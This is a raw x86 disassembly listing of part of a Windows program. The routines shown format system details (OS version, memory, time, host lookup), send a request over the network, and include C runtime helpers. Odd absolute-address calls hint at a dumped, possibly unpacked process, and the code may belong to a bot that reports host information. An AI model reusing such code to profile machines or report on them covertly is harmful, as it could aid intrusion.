mov [ebp+var_4], offset dword_431268
jmp short loc_41AB0C
; ---------------------------------------------------------------------------
loc_41AAF5: ; CODE XREF: sub_41AA42+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41AB0C
loc_41AB05: ; CODE XREF: sub_41AA42+7Cj
; sub_41AA42+8Ej
mov [ebp+var_4], offset dword_431260
loc_41AB0C: ; CODE XREF: sub_41AA42+73j
; sub_41AA42+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41AB44
loc_41AB15: ; CODE XREF: sub_41AA42+61j
cmp [ebp+var_B8], bl
jz short loc_41AB44
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset aSS_1 ; "%s (%s)"
push eax
call sub_41B886
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_41AB44: ; CODE XREF: sub_41AA42+54j
; sub_41AA42+D1j ...
mov ax, word_437834
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4CAE54
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_41AB7D
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax
loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj
push [ebp+arg_4]
call sub_40AC0F
pop ecx
push eax
call dword_4CAFB4
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CAF2C
cmp eax, ebx
jz short loc_41ABA6
push dword ptr [eax]
jmp short loc_41ABAB
; ---------------------------------------------------------------------------
loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41ABAB: ; CODE XREF: sub_41AA42+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
nop
call near ptr 2670000h
lea eax, [ebp+var_114]
push 46h
push eax
push offset dword_43A10C
push ebx
mov esi, 409h
push ebx
push esi
nop
call near ptr 2720000h
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call near ptr 2711635h
nop
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
nop
call near ptr 2830000h
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41B9D1
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_416A32
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41A88B
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_416922
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_416922
pop ecx
pop ecx
push eax
call sub_41A98C
push edx
push eax
push offset dword_43A030
push 200h
push [ebp+arg_0]
call sub_41B980
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41AA42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp
; sub_401ACD+72F5p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41B590
add esp, 0Ch
cmp dword_4CB05C, 0
jnz short loc_41AD62
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4CAE38
test eax, eax
jnz short loc_41AD4B
lea eax, [ebp+var_8C]
push offset dword_43A194
push eax
call sub_41B886
pop ecx
pop ecx
loc_41AD4B: ; CODE XREF: sub_41ACF6+40j
test [ebp+var_C], 1
jz short loc_41AD58
push offset dword_43A18C
jmp short loc_41AD5D
; ---------------------------------------------------------------------------
loc_41AD58: ; CODE XREF: sub_41ACF6+59j
push offset off_43A188
loc_41AD5D: ; CODE XREF: sub_41ACF6+60j
lea eax, [ebp+var_8]
jmp short loc_41AD7A
; ---------------------------------------------------------------------------
loc_41AD62: ; CODE XREF: sub_41ACF6+28j
mov esi, offset off_43A184
lea eax, [ebp+var_8]
push esi
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_8C]
pop ecx
push esi
loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_43A140
push 200h
push [ebp+arg_0]
call sub_41B980
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41ACF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_43A274
call sub_41B590
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_41B590
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_41B590
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_41B590
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_41B590
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_4CAE70
test eax, eax
jz loc_41AF4F
cmp [ebp+var_34], ebx
jbe short loc_41AE8C
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41AEAA
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj
cmp [ebp+var_20], ebx
jbe short loc_41AEC4
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j
cmp [ebp+var_18], ebx
jbe short loc_41AEDE
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AEDE: ; CODE XREF: sub_41ADB5+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_4CAF24
call dword_4CAF48
mov esi, eax
cmp esi, ebx
jz short loc_41AF67
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4CAF3C
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41AF6E
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4CAEE8
test eax, eax
jz short loc_41AF48
push offset dword_43A258
jmp short loc_41AF73
; ---------------------------------------------------------------------------
loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj
push offset unk_43A21C
jmp short loc_41AF73
; ---------------------------------------------------------------------------
loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j
lea eax, [ebp+var_55C]
push offset dword_43A200
push eax
call sub_41B886
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_41AF81
; ---------------------------------------------------------------------------
loc_41AF67: ; CODE XREF: sub_41ADB5+153j
push offset unk_43A1D4
jmp short loc_41AF73
; ---------------------------------------------------------------------------
loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj
push offset unk_43A1A4
loc_41AF73: ; CODE XREF: sub_41ADB5+191j
; sub_41ADB5+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_41AFAC
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_409A72
add esp, 14h
loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_4151AC
pop ecx
push esi
call dword_4CAFA8
push [ebp+var_4]
call dword_4CAFA8
push [ebp+var_1D8]
call sub_40B412
pop ecx
push ebx
call near ptr 26D0000h
nop
pop edi
pop esi
pop ebx
int 3 ; Trap to Debugger
sub_41ADB5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41AFE0 proc near ; CODE XREF: sub_401000+34p
; ___:0040136Ep ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41B000
loc_41AFEC: ; CODE XREF: sub_41AFE0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41B033
test ecx, 3
jnz short loc_41AFEC
add eax, 0
loc_41B000: ; CODE XREF: sub_41AFE0+Aj
; sub_41AFE0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41B000
mov eax, [ecx-4]
test al, al
jz short loc_41B051
test ah, ah
jz short loc_41B047
test eax, 0FF0000h
jz short loc_41B03D
test eax, 0FF000000h
jz short loc_41B033
jmp short loc_41B000
; ---------------------------------------------------------------------------
loc_41B033: ; CODE XREF: sub_41AFE0+11j
; sub_41AFE0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B03D: ; CODE XREF: sub_41AFE0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B047: ; CODE XREF: sub_41AFE0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B051: ; CODE XREF: sub_41AFE0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41AFE0 endp
; =============== S U B R O U T I N E =======================================
sub_41B05B proc near ; CODE XREF: sub_4010AB+64p
; sub_401ACD+58DAp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_41B070
or eax, 0FFFFFFFFh
jmp short loc_41B0AA
; ---------------------------------------------------------------------------
loc_41B070: ; CODE XREF: sub_41B05B+Ej
test al, 83h
jz short loc_41B0A8
push esi
call sub_41DB8B
push esi
mov edi, eax
call sub_41DB25
push dword ptr [esi+10h]
call sub_41DA72
add esp, 0Ch
test eax, eax
jge short loc_41B096
or edi, 0FFFFFFFFh
jmp short loc_41B0A8
; ---------------------------------------------------------------------------
loc_41B096: ; CODE XREF: sub_41B05B+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41B0A8
push eax
call sub_41B0B1
and dword ptr [esi+1Ch], 0
pop ecx
loc_41B0A8: ; CODE XREF: sub_41B05B+17j
; sub_41B05B+39j ...
mov eax, edi
loc_41B0AA: ; CODE XREF: sub_41B05B+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_41B05B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep
; sub_40AB31+B1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_41B117
mov eax, dword_4DC908
cmp eax, 3
jnz short loc_41B0DD
push esi
call sub_41DE77
pop ecx
test eax, eax
push esi
jz short loc_41B109
push eax
call sub_41DEA2
pop ecx
pop ecx
jmp short loc_41B117
; ---------------------------------------------------------------------------
loc_41B0DD: ; CODE XREF: sub_41B0B1+14j
cmp eax, 2
jnz short loc_41B108
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41EBD2
add esp, 0Ch
test eax, eax
jz short loc_41B108
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41EC29
add esp, 0Ch
jmp short loc_41B117
; ---------------------------------------------------------------------------
loc_41B108: ; CODE XREF: sub_41B0B1+2Fj
; sub_41B0B1+44j
push esi
loc_41B109: ; CODE XREF: sub_41B0B1+20j
push 0
push dword_4DC904
nop
call near ptr 2790000h
loc_41B117: ; CODE XREF: sub_41B0B1+Aj
; sub_41B0B1+2Aj ...
pop esi
leave
retn
sub_41B0B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B11A proc near ; CODE XREF: sub_4010AB+45p
; ___:0040F089p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_41B13E
xor eax, eax
jmp loc_41B1E7
; ---------------------------------------------------------------------------
loc_41B13E: ; CODE XREF: sub_41B11A+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41B151
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41B15D
; ---------------------------------------------------------------------------
loc_41B151: ; CODE XREF: sub_41B11A+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_41B15D
; ---------------------------------------------------------------------------
loc_41B15A: ; CODE XREF: sub_41B11A+C4j
mov ecx, [ebp+arg_0]
loc_41B15D: ; CODE XREF: sub_41B11A+35j
; sub_41B11A+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_41B18F
mov eax, [esi+4]
test eax, eax
jz short loc_41B18F
cmp ecx, eax
mov edi, ecx
jb short loc_41B174
mov edi, eax
loc_41B174: ; CODE XREF: sub_41B11A+56j
push edi
push dword ptr [esi]
push ebx
call sub_41C310
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_41B1DA
; ---------------------------------------------------------------------------
loc_41B18F: ; CODE XREF: sub_41B11A+49j
; sub_41B11A+50j
cmp ecx, [ebp+arg_C]
jb short loc_41B1C2
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_41B1A5
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_41B1A5: ; CODE XREF: sub_41B11A+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41F11C
add esp, 0Ch
test eax, eax
jz short loc_41B1EC
cmp eax, 0FFFFFFFFh
jz short loc_41B1F2
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_41B1DA
; ---------------------------------------------------------------------------
loc_41B1C2: ; CODE XREF: sub_41B11A+78j
push esi
call sub_41F043
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41B1F6
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_41B1DA: ; CODE XREF: sub_41B11A+73j
; sub_41B11A+A6j
cmp [ebp+arg_0], 0
jnz loc_41B15A
mov eax, [ebp+arg_8]
loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj
; sub_41B11A+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41B1F6
; ---------------------------------------------------------------------------
loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj
or dword ptr [esi+0Ch], 20h
loc_41B1F6: ; CODE XREF: sub_41B11A+B2j
; sub_41B11A+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_41B1E7
sub_41B11A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep
; sub_41CFD3+35p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41B21D
push [ebp+arg_4]
call sub_41B4D5
pop ecx
jmp loc_41B49D
; ---------------------------------------------------------------------------
loc_41B21D: ; CODE XREF: sub_41B202+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_41B232
push [ebp+arg_0]
call sub_41B0B1
pop ecx
jmp loc_41B49B
; ---------------------------------------------------------------------------
loc_41B232: ; CODE XREF: sub_41B202+20j
mov eax, dword_4DC908
cmp eax, 3
jnz loc_41B342
loc_41B240: ; CODE XREF: sub_41B202+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41B31E
push [ebp+arg_0]
call sub_41DE77
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_41B2F9
cmp esi, dword_4DC900
ja short loc_41B2B2
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41E680
add esp, 0Ch
test eax, eax
jnz short loc_41B2AE
push esi
call sub_41E1CB
mov edi, eax
pop ecx
test edi, edi
jz short loc_41B2B2
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41B292
mov eax, esi
loc_41B292: ; CODE XREF: sub_41B202+8Cj
push eax
push ebx
push edi
call sub_41C310
push ebx
call sub_41DE77
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_41DEA2
add esp, 18h
loc_41B2AE: ; CODE XREF: sub_41B202+74j
test edi, edi
jnz short loc_41B2F5
loc_41B2B2: ; CODE XREF: sub_41B202+62j
; sub_41B202+81j
test esi, esi
jnz short loc_41B2B9
push 1
pop esi
loc_41B2B9: ; CODE XREF: sub_41B202+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4DC904
call near ptr 27A0000h
nop
mov edi, eax
test edi, edi
jz short loc_41B2F5
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41B2E1
mov eax, esi
loc_41B2E1: ; CODE XREF: sub_41B202+DBj
push eax
push ecx
push edi
call sub_41C310
push [ebp+arg_0]
push ebx
call sub_41DEA2
add esp, 14h
loc_41B2F5: ; CODE XREF: sub_41B202+AEj
; sub_41B202+D0j
test ebx, ebx
jnz short loc_41B31A
loc_41B2F9: ; CODE XREF: sub_41B202+56j
test esi, esi
jnz short loc_41B300
push 1
pop esi
loc_41B300: ; CODE XREF: sub_41B202+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DC904
call near ptr 2840000h
nop
mov edi, eax
loc_41B31A: ; CODE XREF: sub_41B202+F5j
test edi, edi
jnz short loc_41B33B
loc_41B31E: ; CODE XREF: sub_41B202+43j
cmp dword_4DB2FC, 0
jz short loc_41B33B
push esi
call sub_41F312
test eax, eax
pop ecx
jnz loc_41B240
jmp loc_41B49B
; ---------------------------------------------------------------------------
loc_41B33B: ; CODE XREF: sub_41B202+11Aj
; sub_41B202+123j ...
mov eax, edi
jmp loc_41B49D
; ---------------------------------------------------------------------------
loc_41B342: ; CODE XREF: sub_41B202+38j
cmp eax, 2
jnz loc_41B45D
cmp esi, 0FFFFFFE0h
ja short loc_41B35F
test esi, esi
jbe short loc_41B35C
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_41B35F
; ---------------------------------------------------------------------------
loc_41B35C: ; CODE XREF: sub_41B202+150j
push 10h
pop esi
loc_41B35F: ; CODE XREF: sub_41B202+14Cj
; sub_41B202+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41B43F
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_41EBD2
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_41B423
cmp esi, dword_43C2F4
jnb short loc_41B3E7
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EF9A
add esp, 10h
test eax, eax
jz short loc_41B3AD
mov edi, [ebp+arg_0]
jmp short loc_41B3DF
; ---------------------------------------------------------------------------
loc_41B3AD: ; CODE XREF: sub_41B202+1A4j
push edi
call sub_41EC6E
mov edi, eax
pop ecx
test edi, edi
jz short loc_41B3E7
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41B3C6
mov eax, esi
loc_41B3C6: ; CODE XREF: sub_41B202+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_41C310
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EC29
add esp, 18h
loc_41B3DF: ; CODE XREF: sub_41B202+1A9j
test edi, edi
jnz loc_41B33B
loc_41B3E7: ; CODE XREF: sub_41B202+18Bj
; sub_41B202+1B6j
push esi
push 0
push dword_4DC904
call near ptr 27A0000h
nop
mov edi, eax
test edi, edi
jz short loc_41B43F
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41B408
mov eax, esi
loc_41B408: ; CODE XREF: sub_41B202+202j
push eax
push [ebp+arg_0]
push edi
call sub_41C310
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EC29
add esp, 18h
jmp short loc_41B437
; ---------------------------------------------------------------------------
loc_41B423: ; CODE XREF: sub_41B202+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_4DC904
nop
call near ptr 2840000h
mov edi, eax
loc_41B437: ; CODE XREF: sub_41B202+21Fj
test edi, edi
jnz loc_41B33B
loc_41B43F: ; CODE XREF: sub_41B202+162j
; sub_41B202+1F8j
cmp dword_4DB2FC, 0
jz loc_41B33B
push esi
call sub_41F312
test eax, eax
pop ecx
jnz loc_41B35F
jmp short loc_41B49B
; ---------------------------------------------------------------------------
loc_41B45D: ; CODE XREF: sub_41B202+143j
; sub_41B202+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_41B487
test esi, esi
jnz short loc_41B46B
push 1
pop esi
loc_41B46B: ; CODE XREF: sub_41B202+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DC904
call near ptr 2840000h
nop
test eax, eax
jnz short loc_41B49D
loc_41B487: ; CODE XREF: sub_41B202+260j
cmp dword_4DB2FC, 0
jz short loc_41B49D
push esi
call sub_41F312
test eax, eax
pop ecx
jnz short loc_41B45D
loc_41B49B: ; CODE XREF: sub_41B202+2Bj
; sub_41B202+134j ...
xor eax, eax
loc_41B49D: ; CODE XREF: sub_41B202+16j
; sub_41B202+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B202 endp
; =============== S U B R O U T I N E =======================================
sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41F49D
test eax, eax
jnz short loc_41B4AC
retn
; ---------------------------------------------------------------------------
loc_41B4AC: ; CODE XREF: sub_41B4A2+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41F32D
add esp, 10h
retn
sub_41B4A2 endp
; =============== S U B R O U T I N E =======================================
sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p
; sub_401ACD+58AEp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41B4A2
add esp, 0Ch
retn
sub_41B4C2 endp
; =============== S U B R O U T I N E =======================================
sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p
; sub_40AB31+63p ...
arg_0 = dword ptr 4
push dword_4DB2FC
push [esp+4+arg_0]
call sub_41B4E7
pop ecx
pop ecx
retn
sub_41B4D5 endp
; =============== S U B R O U T I N E =======================================
sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap
; sub_41CFC5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_41B510
loc_41B4EE: ; CODE XREF: sub_41B4E7+27j
push [esp+arg_0]
call sub_41B513
test eax, eax
pop ecx
jnz short locret_41B512
cmp [esp+arg_4], eax
jz short locret_41B512
push [esp+arg_0]
call sub_41F312
test eax, eax
pop ecx
jnz short loc_41B4EE
loc_41B510: ; CODE XREF: sub_41B4E7+5j
xor eax, eax
locret_41B512: ; CODE XREF: sub_41B4E7+13j
; sub_41B4E7+19j
retn
sub_41B4E7 endp
; =============== S U B R O U T I N E =======================================
sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp
arg_0 = dword ptr 4
mov eax, dword_4DC908
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_41B537
cmp esi, dword_4DC900
ja short loc_41B569
push esi
call sub_41E1CB
test eax, eax
pop ecx
jz short loc_41B569
pop esi
retn
; ---------------------------------------------------------------------------
loc_41B537: ; CODE XREF: sub_41B513+Dj
cmp eax, 2
jnz short loc_41B569
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_41B54C
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_41B54F
; ---------------------------------------------------------------------------
loc_41B54C: ; CODE XREF: sub_41B513+2Fj
push 10h
pop esi
loc_41B54F: ; CODE XREF: sub_41B513+37j
cmp esi, dword_43C2F4
ja short loc_41B576
mov eax, esi
shr eax, 4
push eax
call sub_41EC6E
test eax, eax
pop ecx
jnz short loc_41B585
jmp short loc_41B576
; ---------------------------------------------------------------------------
loc_41B569: ; CODE XREF: sub_41B513+15j
; sub_41B513+20j ...
test esi, esi
jnz short loc_41B570
push 1
pop esi
loc_41B570: ; CODE XREF: sub_41B513+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41B576: ; CODE XREF: sub_41B513+42j
; sub_41B513+54j
push esi
push 0
push dword_4DC904
call near ptr 27A0000h
nop
loc_41B585: ; CODE XREF: sub_41B513+52j
pop esi
retn
sub_41B513 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp
; sub_40111D+4Ap ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41B5E3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41B5D7
neg ecx
and ecx, 3
jz short loc_41B5B9
sub edx, ecx
loc_41B5B3: ; CODE XREF: sub_41B590+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41B5B3
loc_41B5B9: ; CODE XREF: sub_41B590+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41B5D7
rep stosd
test edx, edx
jz short loc_41B5DD
loc_41B5D7: ; CODE XREF: sub_41B590+18j
; sub_41B590+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41B5D7
loc_41B5DD: ; CODE XREF: sub_41B590+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
